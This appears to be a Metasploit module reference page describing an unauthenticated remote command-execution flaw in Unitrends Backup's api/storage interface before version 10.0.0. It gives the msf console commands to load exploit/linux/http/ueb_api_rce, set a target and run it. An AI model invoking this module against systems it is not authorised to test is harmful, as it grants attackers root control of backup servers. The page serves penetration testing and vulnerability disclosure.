It was discovered that the api/storage web interface in Unitrends Backup (UB) before 10.0.0 has an issue in which one of its input parameters was not validated. A remote attacker could use this flaw to bypass authentication and execute arbitrary commands with root privilege on the target system. UEB v9 runs the api under root privileges and api/storage is vulnerable. UEB v10 runs the api under limited privileges and api/hosts is vulnerable.
Linux
x86
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/linux/http/ueb_api_rce
msf exploit(ueb_api_rce) > show targets
...targets...
msf exploit(ueb_api_rce) > set TARGET < target-id >
msf exploit(ueb_api_rce) > show options
...show and set options...
msf exploit(ueb_api_rce) > exploit
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